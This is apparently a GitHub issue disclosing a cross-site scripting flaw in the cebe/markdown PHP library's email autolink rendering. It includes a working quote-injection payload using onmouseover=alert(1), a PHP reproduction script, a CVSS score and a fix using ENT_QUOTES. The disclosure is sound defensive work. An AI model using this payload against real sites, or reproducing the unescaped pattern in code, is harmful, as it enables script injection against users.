Skip to content

XSS via quote injection in renderEmail() (email autolink) #192

Description

@rahulramesh96

renderEmail() in inline/LinkTrait.php (lines 194-198, unchanged since 2014-10-10) escapes the parsed email address with htmlspecialchars(..., ENT_NOQUOTES | ENT_SUBSTITUTE, 'UTF-8'), which does not escape double-quote characters, and then interpolates it into a double-quoted HTML href attribute:

protected function renderEmail($block)
{
    $email = htmlspecialchars($block[1], ENT_NOQUOTES | ENT_SUBSTITUTE, 'UTF-8');
    return "<a href=\"mailto:$email\">$email</a>";
}

The email autolink regex in parseLt() (/^<([^\s>]*?@[^\s]*?\.\w+?)>/) allows " in the local part. Input <"onmouseover=alert(1)//@x.y> is parsed as an email autolink and rendered as:

<p><a href="mailto:"onmouseover=alert(1)//@x.y">"onmouseover=alert(1)//@x.y</a></p>

Verified with html5lib (faithful HTML5 tokenizer): the browser parses this as <a href="mailto:" onmouseover='alert(1)//@x.y"'> — a live onmouseover event handler. On hover, alert(1) executes.

Why this is distinct from CVE-2018-1000874

That CVE (DISPUTED) was about fenced-code-block raw HTML passthrough. This bug is not raw HTML passthrough: parseLt() routes <...@x.y> to renderEmail() before the raw-HTML fallback (parseInlineHtml). The broken HTML is generated by the library from a markdown-syntax autolink, not passed through from user HTML. I acknowledge the maintainer's documented position that output should be filtered with HTML Purifier; this is offered as an escaping defect the library itself introduces.

Affected

  • Markdown, MarkdownExtra, GithubMarkdown (shared LinkTrait)
  • Versions: ≥1.1.2 through 1.2.1 and master (2b2461b)
  • No fix exists.

CVSS v3.1

5.8 Medium — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Constraint: the injected portion cannot contain whitespace (regex excludes \s), so the practical payload is interaction-required (onmouseover); no no-interaction payload found.

Suggested fix

protected function renderEmail($block)
{
    $email = htmlspecialchars($block[1], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
    return "<a href=\"mailto:$email\">$email</a>";
}

Reproduction

<?php
spl_autoload_register(function ($c) {
    $f = '/path/to/cebe/markdown/' . str_replace('\\', '/', substr($c, 14)) . '.php';
    if (is_file($f)) require $f;
});
$p = new cebe\markdown\Markdown();
echo $p->parse('<"onmouseover=alert(1)//@x.y>'), PHP_EOL;

Output:

<p><a href="mailto:"onmouseover=alert(1)//@x.y">"onmouseover=alert(1)//@x.y</a></p>

Independent discovery during a security audit. Verified novel: OSV empty, GitHub Advisory DB empty, no prior issue/comment mentions renderEmail/mailto/ENT_NOQUOTES.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions